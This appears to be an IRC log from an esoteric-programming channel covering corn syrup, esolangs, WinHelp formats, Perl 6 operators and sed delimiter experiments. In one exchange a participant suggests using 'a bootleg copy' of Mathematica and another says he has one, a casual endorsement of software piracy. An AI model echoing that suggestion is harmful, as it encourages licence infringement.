05:57:05 * GregorR wonders how "go down to Texas" and "sanely" can be in the same sentence. 05:59:19 It's not far into Texas, and it's in the name of one of the few American products that doesn't use corn syrup. 05:59:30 Making it worth it. 05:59:31 :p 05:59:40 And I use that smily a lot. 05:59:53 Hey now, there are lots of American products that don't use corn syrup. 05:59:59 Few of them are beverages, but still. 06:00:34 And few of them are food products for that matter. 06:00:59 i think some day OOPSLA should be held in Upsala 06:01:24 I think that we should cut back on the sugar tarriff and the corn subsidies. 06:01:31 For example, a 2009 Ford F-150 contains no corn syrup, as that would be too efficient of an alternative fuel. 06:01:35 And we wurve oil. 06:01:41 :) 06:01:58 i agree, pikhq. 06:02:37 but thats partially because corn takes more energy to turn into fuel than it produces 06:03:18 As a side benefit: corn syrup tastes awful. 06:03:22 it does 06:03:26 pure sugar is better 06:04:03 Of course, this is America; screw taste, the almighty dollar is in charge. 06:04:33 Oh, and also subversion of the free market. 06:04:40 (as we are wont to do here) 06:05:23 afk all 06:05:24 is the turtlre? 06:05:45 NO - THE ACCUMULATOR 06:08:05 Hmm, that's interesting... In mice, HFCS has been shown to increase the absorption of fat. 06:08:20 hm. 06:08:25 So, we're manipulating the free market to make Americans fat. *Great*. 06:08:45 Oh, it also seems to supress mice's tendency to stop themselves from overeating. 06:09:10 yes 06:09:11 this is true 06:09:24 as it does not release the hormones that make you feel full 06:09:37 Explains a lot. 06:09:48 it also doesnt cause the release of insulin, which leads to elevated blood sugar levels, and a higher risk of diabetes 06:10:00 Also explains a lot. 06:10:09 yep 06:10:13 We're really fucking ourselves over here. 06:10:20 yep! 06:10:36 And we're not even getting better-tasting food out of it! 06:11:02 yeah 06:11:09 if were gonna kill ourselves, we shold atleast enjoy it 06:11:18 Seriously. 06:18:51 Really annoying when you consider that we've got the ability to grow a *lot* of sugar beet... 06:19:04 And a decent bit of sugar cane as well. 06:20:43 Both of which would make for a really good ethanol crop if corn weren't so damned subsidised. 06:39:27 -!- ais523 has joined. 06:43:59 -!- ais523 has quit (Read error: 104 (Connection reset by peer)). 06:44:37 -!- ais523 has joined. 06:45:22 Maybe I should start eating HFCS foods 06:45:31 Well, the diabetes bit doesn't sound good 06:49:42 * oerjan figures his infinite loop in slashes should work but it may be easier to use haskell to generate it 06:50:22 oerjan: you're trying to write a nontrivial /// infinite loop 06:50:26 yep 06:50:45 I spent hours working on that problem once, my conclusions were that it was obviously possible, but would require someone who made fewer silly mistakes than me 06:50:54 ah :) 06:51:05 /// ? 06:51:30 http://esoteric.voxelperfect.net/wiki/Slashes 07:14:21 okay, i got dead code elimination pass correct... now esotope-bfc prints only PUTS("Hello world!") for hello.b. 07:15:58 in allcaps? 07:16:04 is that a wrapper macro? 07:16:14 ais523: defined as #define PUTS(s) fwrite(s, 1, sizeof(s)-1, stdout) 07:16:31 also, does it optimise 99bob into printing a constant string? 07:16:52 partially. 07:17:42 propagation pass is (as i mentioned days ago) ad-hoc, so it misses some cases 07:19:13 for example, it doesn't propagate Output[] node yet so there are lots of code looks like p[3] += 72; PUTC(p[3]); 07:20:45 -!- oerjan has quit ("Good night"). 07:34:21 7 more spam messages from guess who 07:57:08 wow, someone was reminicing about old-fashioned copy protection schemes on Slashdot, and apparently one of them involved rot13ing the binary 07:57:15 amongst other things 07:57:20 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:57:24 I have to admit, I never even thought of rot13ing binary data... 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:03:32 memfrob 08:08:59 memfrob would make more sense 08:09:05 its purpose is to hide strings in executables, right? 08:11:18 probably more for the lulz 08:13:14 -!- coppro has quit (Read error: 110 (Connection timed out)). 08:13:29 There was a demo of a game they told me to poke at, to see how it was made; the data files of that were memfrob()'d (except not with the constant 42) .zip files. 08:14:06 heh, XOR encryption 08:14:28 I remember recommending that to a friend about 6 or 7 years ago to use on his website 08:14:40 because it was stronger than the nonencryption he was using, but I would still be able to crack i 08:14:42 *it 08:14:54 Not quite sure what purpose it served; I guess it was there to discourage any "non-approved" modificating, or the extraction of graphical resources, but those both seem to be rather lamey reasons. 08:18:17 And there was that actual "binary rot-0x1b modulo 256 applied to .tar archives" ehird's router-box-or-whatever had for configuration dumps. 08:19:01 the impression that I got from the Slashdot comment was that the binary had actually changed all the opcodes and data that happened to correspond to letters of the alphabet round 13 alphabetical places 08:19:14 and left everything else untouched 08:19:16 Yes, that's pretty senseless. 08:19:22 quite a few common x86 instructions correspond to capital letters, though 08:19:44 in realmode, at least, the lowercase letters all seem to be invalid opcodes 08:23:29 -!- bsmntbombdood has quit (Remote closed the connection). 08:25:41 -!- daffa has joined. 08:25:59 What's up, all? 08:26:11 I'm having a completely crazy sleep pattern atm 08:26:22 so I took advantage of the 24-hour opening of the University atm to come in at 6am 08:26:46 -!- daffa has changed nick to evincar. 08:27:38 Sounds like fun. 08:28:16 well, it's a case of "would I rather be lying in bed doing nothing wondering if 6am is too late to try to go to sleep, or come online and do nothing?" 08:29:06 Fair enough. 08:29:36 It's only 3:30 where I am. Been programming, and debating going for a run. 08:29:38 esoteric-wise, the most interesting things I've done recently are write a BF Joust interp, and a fast Underload interp in a sane language 08:29:55 Ah, nice. 08:30:05 BF just never goes away. 08:30:12 because it's ridiculous that nearly all the Underload interps were in esolangs 08:30:14 although rather fun 08:30:25 Ha, true. 08:31:00 I dunno, I've been working on a legit language lately, so I figured it was time to take a break and see what the other half is doing. 08:31:50 I had a great idea for a rather esoteric language, but unfortunately it seems too useful to count as an esolang in the truest sense of the term. 08:31:56 More like domain-specific. 08:32:08 I don't mind esolangs being useful 08:32:19 in fact, I've been aiming towards that sort of thing quite a lot recently 08:32:43 Underlambda is (will be) designed to be useful, Thutu turned out to be useful by mistake, and I've been progressively making INTERCAL more useful and hoping nobody notices 08:32:54 Heh. 08:33:01 Well, I guess it amounts to preference. 08:34:02 My first esolang was rather useful, come to think of it, for batch scripting and lightweight graphics applications... 08:34:13 ...made in good ol' QuickBASIC 4.5, of course. 08:34:17 Such a dinosaur. 08:35:49 I was stuck with QBasic ages ago 08:36:44 It was a certain flavour of esoteria in its own right. 08:37:37 Consider the things that the QB community did with that language in the early 00's that should never have been done with it. 08:37:51 you can say that about any language, more or less 08:38:00 I know when I was younger I implemented pointers in QBasic 08:38:05 actual memory pointers 08:38:08 Oh, I loved doing that. 08:38:09 that's esoteric in its own way 08:38:17 Yeah. 08:38:31 It feels so good to get a linked list working in QB. 08:38:41 And at the same time vile and disgusting. 08:39:01 I couldn't figure out how to extract the value of a number, so in the end I blitted into a temporary variable and read the value from there 08:39:12 I was so programming-naive then I didn't even know about floating point 08:39:19 so no wonder I couldn't figure out the byte order 08:39:25 Haha... 08:39:40 ...but programming knowledge builds on itself. 08:39:59 I've come a long way in the...almost ten years it's been. 08:40:11 Since I started getting interested, that is. 08:40:13 a bit more than that for me 08:40:18 I started programming when I was 6, I'm 22 now 08:40:20 I figured. 08:40:24 Ah. 08:40:30 Pascal and BBC Basic were my first languages 08:40:40 and, as you can probably guess, 6502 asm was my first asm 08:40:46 Yep yep. 08:41:18 We recently HTMLized the QB manual. 08:41:24 Or QBasic manual, anyway. 08:41:26 we as in #esoteric? 08:41:29 I was a QB/Pascal child, myself, but I got into C rather early on, and then C++ has pretty much stuck with me ever since, despite Perl, Python, and what have you. 08:41:35 I know there was a discussion about it here a while ago 08:41:38 The dos .HLP decompiler didn't work on the QuickBasic one. 08:41:42 I even managed to get what I think is a legal copy 08:41:47 at least, it came from the Microsoft website 08:41:50 and it runs in DOSBox 08:41:59 (also, I have a spare Win98 license around, so I'll count it against that) 08:42:06 http://zem.fi/~fis/qbc.html 08:42:25 That's the one with CSS rules to make the colors correct. 08:42:34 Neat. 08:42:38 This is the 1.1 manual? 08:42:57 Doesn't look like 4.5. 08:43:25 It's the QBasic one; like I said, real qb45 manual didn't get through the "helphelp" tool. 08:43:40 Ah, gotcha. 08:46:50 It did get a couple of pages correct, but the rest of the output was just "^B^D^B^E^B^F^B^K^B^L^B^T^B^T\p^B\uP,P,P,P,iallimmedia\p" and so on. Must be an incompatible version. 08:48:08 * ais523 laments the death of winhelp 08:48:22 * evincar dons a black arm band. 08:48:23 even winhlp32 is pretty much dead nowadays 08:48:35 and you can't get hold of compilers for winhelp nowadays, I don't think 08:48:51 that's actually a good point, I'll have to see if I have one lying around on a hard disk somewhere 08:49:00 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 08:49:01 the source code was a really weird format 08:49:03 it was RTF-based 08:49:04 -!- puzzlet has joined. 08:49:14 and you put metadata in footnotes, or as hidden text 08:49:27 Strange. 08:49:35 a link, for instance, was double-underlined-text, followed by the link target as hidden text 08:49:48 I think it was double-underlined, anyway, I'm not sure, it was so long ago! 08:51:44 * ais523 opens up an old winhelp source file in OpenOffice to look 08:52:11 yep, double-underline 08:53:07 oh, and it had a scripting language too 08:53:25 which had a slightly weird syntax, it was mostly lots of nested camelcase functions 08:53:42 it looks functional looking at the source, but I suspect it may be imperative written with a functional synax 08:53:51 and you put the commands in footnotes 08:54:09 I don't think it's TC, but only because you can't have a loop not containing user input, and there's no infinite storage 08:55:34 There's no way to hack around the former? 08:55:44 Guess it's a moot point. 08:55:46 no, it basically has no control structures but if 08:55:53 Ah. 08:56:48 Hey, you mind if I rattle off my recent idea and get some feedback? 08:56:58 I don't mind at all 08:57:07 All right. 08:57:49 IfThen(Not(IsMark("mpk2pa")), "JI(`m2loadgm.hlp', `lerror')") 08:58:10 Ew. 08:58:18 * ais523 boggles at programming languages that use ` for open quote and ' for close quote 08:58:22 The "whc" program reads WinHelp project files (*.HPJ) and Rich-Text Format 08:58:22 file (*.RTF) and converts them into a WinHelp file with a .HLP extension. 08:58:30 That's included still in the OpenWatcom package. 08:58:35 ah, that sounds about right 08:58:41 I still have a few HPJs lying around somewhere 08:59:05 -- 08:59:07 they basically correspond to Makefiles 08:59:07 Who to Yell at if "whc" Explodes in your Face 08:59:07 --------------------------------------------- 08:59:07 That would be me: 08:59:07 Peter Milley 08:59:10 If I'm not at Watcom, try: 08:59:10 email: pmilley@undergrad.math.uwaterloo.ca 08:59:12 -- 08:59:17 I'm not quite sure he's still interested in whc bugs. 08:59:24 can it use memory outside the bottom 640K? 08:59:27 if so, it's better than the one I have 08:59:33 it keeps crashing on large images 08:59:50 It should build on Linux, so I would hope so. 08:59:53 ooh, wait, I think you can do an infinite loop 08:59:54 -!- M0ny has joined. 09:00:18 I've just reseen the source of one of my most complex attempts to write a WinHelp program 09:00:26 Heh. 09:00:27 it has a lot of JI commands forming a chain 09:00:36 There's no unreseeing it. 09:00:40 in order to do more complicated coding than would fit into the footnotes of one page 09:00:49 I expect you could fit the JIs into a load 09:00:50 *loop 09:01:00 which would be much the same as an HTML page refreshing itself in the middle of loading to loop 09:01:13 Frightening. 09:01:18 which is stupid, but this is #esoteric we're talking about and it's a lot saner than some control structures I've seen 09:01:24 True. 09:01:39 Reminds me of the abuses of the C preprocessor that you see in the IOCCC. 09:01:43 yes 09:01:57 Anyway, my idea. 09:01:57 even more amusingly, JI requires you to specify the literal filename of the target of the jump 09:02:02 D: 09:02:06 That Watcom's WHC is a bit limited, though: supports only .bmp and .shg images, not .mrb/.dib/.wmf; no redefining of window styles, whatever that means; no support of the built-in table commands, and "no disk caching, and as a result is a RAM hog, especially with the 2MB help files people compile here at Watcom!" 09:02:16 I guess that last point isn't such a great thing any longer. 09:02:20 don't worry, I'm perfectly capable of having two conversations at once, with the same people on occasion 09:02:35 Heh...all right. 09:02:48 err, .dib = .bmp with a different extension, so they could support that one pretty easily 09:03:02 and how nostalgic to see .shg there 09:03:18 "Support for Windows bitmaps and Windows SHG files is available, but other image formats supported by Microsoft's compiler (MRB, DIB, and WMF) are not supported." 09:03:29 .shg is basically a .bmp, but with WinHelp commands embedded on rectangular and elliptical areas 09:03:32 I did think .bmp files were device-independent-bitmaps at heart. 09:03:55 So my original concept was an "emotional" programming language. Roughing that out, I decided to design an arbitrary system for creating "emotional automata". Basically I mashed together the idea of the cellular automaton with that of a neural network, added some nondeterminism, and behold. 09:04:12 well, this is sounding pretty esoteric 09:04:29 although "temperamental" might be a better description, by the sound of it 09:04:40 Well, I wanted something for simulation purposes. 09:05:05 "Given these behaviours and arbitrary simulated inputs, how does this agent operate?" 09:05:31 have you seen evfunge? 09:05:35 Nope. 09:05:42 unfortunately, neither have I 09:05:53 it's been discussed here, but all we know of is a webpage describing it 09:05:58 A program consists of a "space", which can be Cartesian, graph-based, or fully-connected; "agents", which are effectively just neurons in the network; and "traits", which provide the capabilities of the agent. 09:06:21 A funge for genetic programming, I'd assume? 09:06:25 yes 09:06:33 Hmm... 09:06:35 apparently it worked rather well, but I haven't seen the source 09:06:45 either of evfunge itself, or of the programs it generated 09:07:01 Hmm... 09:07:26 aargh, I just found wininiss 09:07:36 possibly one of my most ridiculous utility functions ever 09:07:56 Oh? 09:08:00 it was a rather silly FFI, that worked from programs I didn't write to programs I did 09:08:18 it was an executable that took data from its command-line arguments and recorded them in the main Windows configuration file, in a custom setting 09:08:23 from where the program I wrote could read them 09:08:34 at the time, I was rather worried it might wear out the hard disk 09:08:43 which was probably not what I should have been worried about 09:08:49 Heh. 09:09:38 I should look through my "programs written in things not meant to be programmed" directory more often 09:09:50 it's a rather related field to esoprogramming, although not technically the same 09:09:56 oandx.bmp is a classic 09:10:16 Ah, right...so..."traits" express "capabilities", which are responses to traits of other agents; "responses", which are responses to sensory input (i.e., events); and "impulses", which are nondeterministic. So you've got a full range. 09:10:32 Being? 09:10:40 a bitmap that plays noughts and crosses 09:10:54 Should've guessed. 09:10:58 How'd you pull that one off? 09:11:11 I also have the same program as .bat, .dot, .hlp, and .ppt 09:11:19 and by relying on the way floodfill works 09:11:22 and a lot of visual trickery 09:11:34 it's mostly about looking cleverer than it is 09:12:13 Heh. I think I can guess. 09:14:07 Every agent runs in its own thread, and is active and listening to all of its inputs unless otherwise stated. When no agent is active and it can be determined that no agent will become active again (e.g., via an impulse), the program ends. 09:15:39 Writing a program consists of defining a space, declaring agents, and linking up their inputs and outputs into the initial state, if they're in a non-Cartesian space. 09:17:01 I'm feeling a syntax like LISP or Unlambda. 09:18:28 Um...thoughts? Questions? I've rambled an outline, at least. 09:18:33 Unlambda's LISP with half the brackets 09:18:46 Hence the mention. 09:18:48 and it seems a relatively standard general idea 09:19:54 I think targeting simulation applications is going to make it worth it. 09:20:48 evincar 09:20:50 "There. I've made my robot. Now give it some Mars-like terrain and weather, and keep blowing up the little guy until he learns from his mistakes. Then give me an analysis." 09:20:58 Yeah? 09:20:59 it sounds like youve just invented normal agents. 09:22:04 *shrug* 09:23:48 So you're saying it's not necessary? Been done this way before? 09:24:00 it just sounds like youve reinvented agent based modelling. 09:25:29 Well...yes. That's exactly what I've done. I'm just wondering if it's a good idea to make a programming language out of the method. 09:26:56 there already is one. its called agent based modelling. :P 09:27:07 or, after a fashion, object oriented programming. 09:30:00 I was thinking esoteric language, but whatever. And over OO it's more of an architecture or design pattern than straight up part of the paradigm. 09:30:23 please rephrase that last part 09:30:27 im not sure i know what you mean 09:31:24 I can write a program in an object-oriented language that uses the concept of agent-based modelling, but there's nothing about object-oriented programming that is specifically geared toward that technique. 09:31:46 after a fashion there really is. 09:32:25 its just that when we code things in the OO paradigm, we're doing it not for modelling so much as to achieve a particular goal 09:32:43 and so the emergent behavior of modelling doesnt really arise. 09:32:49 OO as in true Smalltalk OO, or OO as in what people normally mean by OO? 09:33:04 true OO smalltalk, lets say. 09:33:12 I may be biased by C++. 09:33:25 C++ is rarely programmed in an OO fashion. 09:33:32 -!- dbc has quit (Client Quit). 09:33:33 I know. 09:33:46 and C++'s OO is like machine code 09:33:56 It tends to be more like a...hierarchical C. 09:34:02 it's so ridiculously do-everything-by-hand that you can hardly get a proper OO system running 09:34:04 Bad term for it. 09:34:07 Yeah. 09:34:45 Well, anyway. 09:37:42 I would say that OO is "more generic", that is, it applies to a wider problem domain than, and is a superset of, agent-based modelling, so I would tend to view it as a conceptual or architectural decision rather than a programming paradigm outright. 09:38:09 ::shrug:: 09:38:13 i dont see any clear distinction. 09:38:41 I mean, I can write a genetic algorithm or agent simulation in C, or assembly, that takes advantage of far different techniques than an object-oriented language while accomplishing the same goal. 09:38:54 an agent-based model seems like merely a particular kind of OO program geared towards discovering emergent phenomena 09:39:15 sure, but you can write ANY program in ANY TC language 09:39:32 Yes, but it's not necessarily OO. 09:39:34 Aagh. 09:39:39 We're chasing ourselves around in circles. 09:39:40 you can write time-ordered code in haskell 09:40:23 i just dont see how what youve suggested is novel. :P 09:40:24 Yes...and this is in favour of what I've been saying. 09:40:34 I don't mean the concept. 09:40:51 I mean the funky esoteric programming language geared toward that concept. 09:41:03 That's where I could be innovating. 09:41:10 ok 09:41:23 Whew. 09:41:25 well what does that language look like and why is it novel in looking like that 09:41:37 That's what I'm working on. 09:41:41 ^_^` 09:41:47 lol 09:41:52 Ha...wow. 09:42:08 We seriously just had a million-line discussion for that. 09:42:49 * evincar gets a glass of milk. 09:42:54 milk?! 09:43:09 I don't have lemonade. 09:43:11 http://blog.milkboys.org/topics/photo/milk-monday/ 09:43:23 Um. 09:43:28 milk! 09:43:33 ... 09:43:35 Convenient? 09:43:40 sexy. 09:44:07 The guy without the shirt isn't bad-looking. 09:44:29 The girl would be better-looking without the...eh...well...milk. 09:44:33 :P 09:44:35 thats no girl 09:44:42 Ah. 09:44:48 thats tokio hotel 09:44:51 A suitably effeminate boi, then. 09:45:08 http://www.deedeecus.com/wp-content/uploads/2008/05/tokio-hotel-mtv.jpg 09:45:12 there are no females in that picture 09:45:31 http://www.cartoondollemporium.com/forum/pics/cdeblog/tokio%20hotel.jpg 09:45:36 I am both frightened and intrigued. 09:45:44 he's gay. 09:45:45 * evincar whistles. 09:45:52 No shit. 09:45:52 im pretty sure he's not actually 09:46:00 6_o 09:46:26 hes just bill kaulitx. 09:46:28 You're telling me a boy who takes care of himself like that is not fond of a more familiar species? 09:46:29 kaulitz* 09:46:42 well given that males and females are of the same species! 09:46:54 *facepalm* 09:46:58 ;P 09:47:05 My subtlety is lost. 09:47:17 Like my marbles, at this hour. 09:47:23 i deny your implicatures and substitute my own! 09:47:45 He likes the male variety! 09:48:04 -!- tombom has joined. 09:48:17 Heh...well, to be perfectly honest, I think it's rather silly to be guessing at someone's sexual preferences based on appearances alone. 09:48:19 he's said himself that hes not gay 09:48:56 given that hes german, and a popstar, and german, looking gay is expected 09:49:06 Hm... 09:49:13 Heh...well, to be perfectly honest, I think it's rather silly to be guessing at someone's sexual preferences. 09:49:17 :p 09:49:26 ...European power pop does that to a person. 09:49:50 Look at ex-Ozone Dan Balan, RadU, and Arsenium. 09:49:58 Less the latter. 09:50:29 And RadU, the young-looking, effeminate, "cute one" is the oldest, married, and maybe with a kid, I forget. 09:50:51 ... 09:50:56 This is a hell of a tangent. 09:52:40 the thing about bill kaulitz is like 09:52:45 hes REALLY femmy, even without makeup 09:53:49 also, he could just be a lesbian in a boys body. 09:53:52 Crap. I just realised that I'm built just like him. 09:53:55 :/ 09:54:39 Blarg. 09:55:22 So, how about that...anything else? 09:55:27 The cake is a lie. 09:55:42 his cake is, anyway 09:55:45 Is there a Portal-based esolang yet? 09:55:55 mm 09:55:58 you mean like with teleports? 09:56:03 I have a feeling something awesome could be done with that. 09:56:06 or with program-created teleports? 09:56:16 Um. Why not both? 09:56:27 ehhh see the problem with that is that if you have teleports, you get no interesting constraints 09:56:32 it just becomes a linear language 09:56:41 in the simplest case 09:56:47 And of course the nondeterminism that arises from the question of whether the cake is or is not a lie. 09:57:00 Hmm...explain? 09:57:13 Oh, I see what you mean. 09:57:15 well, it depends on how you use teleports, i guess 09:57:15 INTERCAL control flow feels a bit portally 09:57:20 although it isn't exactly the same 09:57:24 True. 09:57:28 if teleports are like 09:57:40 site-to-site beaming 09:57:41 And program flow is only one object that can go through a portal, remember. 09:57:43 on certain conditions 09:57:49 its just a fancy version of befunge 09:57:55 Oh, I wasn't thinking that. 09:57:58 that bypasses the constraints of befunge 09:58:06 in that befunge forces you to work in 2 dimensions 09:58:10 Right. 09:58:20 which means paths will cross 09:58:26 so you have to code around that 09:58:33 once you go into three dimensions, theres no such restriction 09:58:44 and teleporting essentially does the same thing 09:58:49 I don't know that a Portal language could be a fungeoid, but it seems like a logical conclusion. 09:59:07 well, portals only matter when you have something that moves about a space 09:59:13 True. 09:59:28 Hey >:| 09:59:31 hey 09:59:32 Portal language was my idea! 09:59:40 YOU KLEPTO THIEF 09:59:42 Haha. 09:59:54 Hey, I haven't been here in *ages*. 10:00:02 Independent innovation. 10:00:11 slereah, what do you do at slereah.place_of_employment? 10:00:18 For the record, I also had the idea of a Lemmings language, so HANDS OFF OF THAT 10:00:30 psygnisfive : I program stuff and shit 10:00:36 Do equations and such 10:00:43 ah 10:01:02 Science you know 10:01:07 But of course. 10:01:13 The Science. 10:01:17 Right know I'm trying to model a parton jet 10:01:23 a parton jet? 10:02:39 http://en.wikipedia.org/wiki/Jet_(particle_physics) 10:03:01 parton? 10:03:12 gluon + quark 10:03:22 a free quark??? 10:03:40 Or gluon 10:03:52 Once free, it decays rapidly 10:03:58 Into a shitload of particles 10:04:05 All going in the same general direction 10:04:08 That's the jet 10:04:09 oh i see 10:04:57 Worst part about work is that they're rationning Mathematica 10:05:04 You only get some time per day 10:05:19 sounds like you need a bootleg copy 10:05:59 I have one, but at home 10:06:05 ok 10:13:23 Well, I'm no longer productive. 10:13:30 Time to turn in for a few hours. 10:13:56 It's been interesting. 10:15:30 -!- evincar has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 10:46:13 ehird (when you're here): more Perl6 stealing ideas from INTERCAL: it uses just-in-case compilation for procedures that aren't declared yet 10:46:33 as in, compiles as if they're declared later, then errors out if it doesn't find the declaration 10:57:59 -!- MigoMipo has joined. 11:21:24 -!- WangZeDong has joined. 11:23:22 ok, Perl6 has reverse-subtract as an operator 11:23:26 along with reverse everything else 11:24:18 > say(2 R- 5); 11:24:20 3 11:24:39 > say(1 R+ 2); 11:24:40 3 11:24:46 and there you have the ever-useful reverse-addition operator 11:25:47 Substraction? 11:28:25 its sort of subtraction 11:28:39 its subtraction with the arguments reversed 11:28:45 ais523: why not a meta-operator for exchanging operands? 11:28:54 that's exactly how it's implemetned 11:29:07 and why things like reverse-addition exist 11:29:14 i see. 11:29:21 whats the POINT of Rop? 11:30:59 > say [<](); 11:31:00 1 11:31:05 there we have it, a less-than with no arguments 11:31:18 to be precise, a reducing less-than 11:31:24 a what 11:31:28 > say [>](); 11:31:31 aww 11:31:35 you tricked me! 11:31:41 youre not running a bot on your computer :( 11:31:51 ais, simulate a bot! 11:32:01 1 11:32:04 GASP 11:32:08 apparently, both less than and greater than are true 11:32:09 ok im off to bed 11:32:13 if applied to nothing at all 11:32:23 just like [+]() is 0 and [*]() is 1 11:32:28 -!- psygnisfive has changed nick to augur[sleep]. 11:32:47 hm 11:32:48 thats odd 11:33:13 because 0 and 1 are the identity values for those operators 11:33:18 yes 11:33:24 while > and < have no identity operator 11:33:24 -!- tombom has quit (Read error: 54 (Connection reset by peer)). 11:33:26 that's something like foldl or foldr in many languages, but took a form of n-ary operator 11:33:28 it's meant to be the identity value you get if you apply them to no operands 11:33:38 and I'd say "true" is the identity value of less-than 11:33:43 because 4 < 5 < 6 < 7 is true 11:33:43 -!- tombom has joined. 11:33:51 so [<]() is true 11:33:55 -!- Slereah has quit (Read error: 110 (Connection timed out)). 11:34:02 lifthrasiir: yep, it's a folded-operator syntax 11:34:15 but the chained < is not an accurate representation of < mathematically 11:34:25 as in, chaining a less-than is an implicit "and" in pretty much all usage 11:34:30 and the identity for and is truth 11:34:54 true 11:35:05 but < cannot by its very nature have an identity 11:35:10 not in the traditional sense of an identity 11:35:36 since its not an operation from the domain back to the domain 11:37:31 yes 11:37:35 the identity's on the return value, there 11:37:50 as in, a < b < c is parsed by Perl6 as (a < b) && (b < c) 11:37:56 so it uses the identity for && 11:37:56 true 11:38:13 but i still cant reeeaaally comprehend what an identity for < would be 11:38:29 because identities are not conceptualized as relating to chaining at all. 11:39:18 ais523, did you highlight me? 11:39:29 I don't think so 11:39:30 * AnMaster notes someone highlighted him but it is out of scrollback 11:39:36 not today, anyway 11:39:44 well if it was anything important I'm sure that person will re-highlight 11:39:45 I highlighted you the day before yesterday, IIRC 11:39:49 but I think you were online then 11:39:50 well,* 11:39:58 and I was talking about you, not to you, then 11:39:59 ais523, yes, this happened since yesterday evening 11:40:09 in the context of people who ehird tended to disagree with 11:40:16 ok but really, night 11:40:25 night 11:40:30 augur[sleep], cya 11:41:10 odd... 11:41:32 > say((1,3,5)X+(2,4,6)); 11:41:34 3575797911 11:42:11 strangely, that took it a while to calculate 11:42:12 when X runs for a long time (several weeks) it's memory usage sometimes start to rapidly grow. /proc/pid/maps indicate it is the heap that grows. However this doesn't always happen. 11:42:19 I wonder how much is coing on behind the scenes there 11:42:24 This time it happened after just 5 days 11:42:25 AnMaster: memory leak only in certain circumstances, I wonder? 11:42:36 ais523, I don't know. 11:42:37 it could be that they're very rare circumstances 11:42:42 but once they happen, they continue happening 11:42:50 that would give apparently random lengths of time before it happened 11:42:52 ais523, it happens about 2/3 of the times X runs for a few weeks without restart. 11:43:00 also, I tend to restart X every few hours 11:43:05 usually it doesn't happen after just a few days 11:43:11 due to not staying on one internet connection for all thatl ong 11:44:02 ais523, why would you need to restart X when changing internet connection?? 11:44:12 because I turn the computer off 11:50:25 -!- BeholdMyGlory has joined. 11:58:17 Perl6 has one of the silliest lambda syntaxes ever: 11:58:28 -> $var { #(code here...) } 11:58:37 the #() is an inline comment, btw 12:04:31 ais523: so does #«foo»... 12:04:38 yes, I know 12:04:46 in fact, you can use any of the bracket chars in Unicode 12:05:01 and if i remembered correctly, there are anonymous arguments $^a, $^b etc. 12:05:26 actually, $^anything works to implicitly give arguments to the closure you're in 12:05:38 and all blocks are treated as 0-arg lambdas 12:05:44 unless they have more than 0 arguments 12:06:41 -!- MigoMipo_ has joined. 12:16:28 -!- FireFly has joined. 12:16:33 the #() is an inline comment, btw 12:16:34 o 12:16:35 m 12:16:36 g 12:16:47 why are inline comments in Perl so surprising? 12:16:49 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:16:52 ais523, the syntax for them 12:16:59 what if you write at the start of a line: 12:17:02 #( blah blah 12:17:05 syntax error 12:17:08 yes, seriously 12:17:14 surprising 12:17:23 # ( blah blah would be a one-line comment 12:17:31 and space #( blah blah 12:17:33 ais523, only if it ends with a matching space right? 12:17:35 ;P 12:17:35 would be the start of an inline comment 12:17:40 which can last multiple lines 12:17:46 and space isn't a sort of paren 12:17:49 true 12:18:12 but it would match sblahblah 12:18:13 :P 12:18:36 ais523, see what I mean? 12:19:01 err, but s doesn't allow any char nowadays 12:19:05 ais523, = 12:19:05 in fact, it never used to 12:19:06 ? 12:19:10 it didn't allow letters, for instance 12:19:26 in perl6 it doesn't allow : or # either 12:19:26 hm ok 12:19:31 pretty sure sed does however 12:19:38 because it's legal to mix quote operators 12:19:50 ah hm no 12:19:54 any non-letter 12:20:08 wait no 12:20:09 it does 12:20:19 $ sed 'sxfooxbarx' 12:20:19 foo 12:20:19 bar 12:20:19 ^C 12:20:32 :) 12:21:01 this may be clearer: 12:21:02 $ sed 'sxfooxbarx' <<< foo 12:21:03 bar 12:22:27 what about NUL? 12:22:44 $ sed $'s\0foo\0bar\0' <<< foo 12:22:45 sed: -e expression #1, char 1: unterminated `s' command 12:22:45 hah 12:22:49 hm 12:23:13 you can use $'' to interpolate backslash-0? 12:23:29 actually I'm not sure bash will handle it correctly 12:23:30 * AnMaster checks 12:24:07 $ sed -f /tmp/blah <<< foo 12:24:07 sed: file /tmp/blah line 1: unterminated `s' command 12:24:20 -!- MigoMipo has quit (Read error: 110 (Connection timed out)). 12:24:21 and there I'm sure the null bytes are there 12:24:35 ais523, and yes $'' interprets like echo -e 12:25:00 and, obviously, I seriously doubt newline works as a separator 12:25:03 I'm less sure about tab 12:25:09 obviously 12:25:23 $ sed $'s\tfoo\tbar\t' <<< foo 12:25:23 bar 12:25:25 tab works 12:25:33 so does space 12:28:01 I wonder how backslash reacts to escape codes in the s\\\ itself 12:28:18 try it yourself, I'm a bit preocupied 12:32:16 ok 12:32:21 I might try late 12:32:22 *later 12:44:41 ais523, seems \ doesn't work then 12:44:42 just checked 12:46:27 ah, ok 12:55:24 -!- asiekierka has joined. 12:55:27 Hi 12:55:33 I implemented Deadfish in C64 basic O_O 12:55:40 and I think I didn't see this channel more crowded 12:56:12 oh, 1/10th of you all is bots 12:56:20 egobot, fungot, clog, thutubot 12:56:20 asiekierka: which was the first thing that popped into my brain 12:56:32 fungot: uh... clog? 12:56:33 asiekierka: what will scheme42 be exactly? some kind of priorities between your rules. ha ha ha you changed some words. 12:56:42 ...:( 12:57:09 hi asiekierka 12:57:20 also, it's often more crowded than this, you must be in a weird timezone 12:57:41 GMT+1 is not weird 12:57:53 but i'm not in the US, which has GMT-6 or whatever :P 12:58:14 ais523: Did you check out DEADFISH 64? 12:58:18 I saw it 12:58:23 it looks like portable BASIC to me 12:58:28 C64 Basic 12:58:33 presumably it would work on other basic interps too, though 12:58:46 probably 12:58:56 that's like saying that a particular standard strict-C89 program is x86 C 12:59:10 Well, I wrote it on a C64 12:59:15 and only tested on a C64 12:59:19 And it has a subset of Deadfish~, too 12:59:23 ah, ok 12:59:59 if you click the external link to the webpage of Deadfish 64 (on the bottom of the Deadfish page) you can see what features does it have 13:00:07 The one in the implementations only implements basic deadfish 13:00:08 :D 13:00:16 and h 13:04:40 what does h do? 13:05:07 * ais523 thinks it's an interesting comment on programmer psychology that deadfish has such appeal 13:08:15 Halt 13:08:20 see deadfish~ 13:08:20 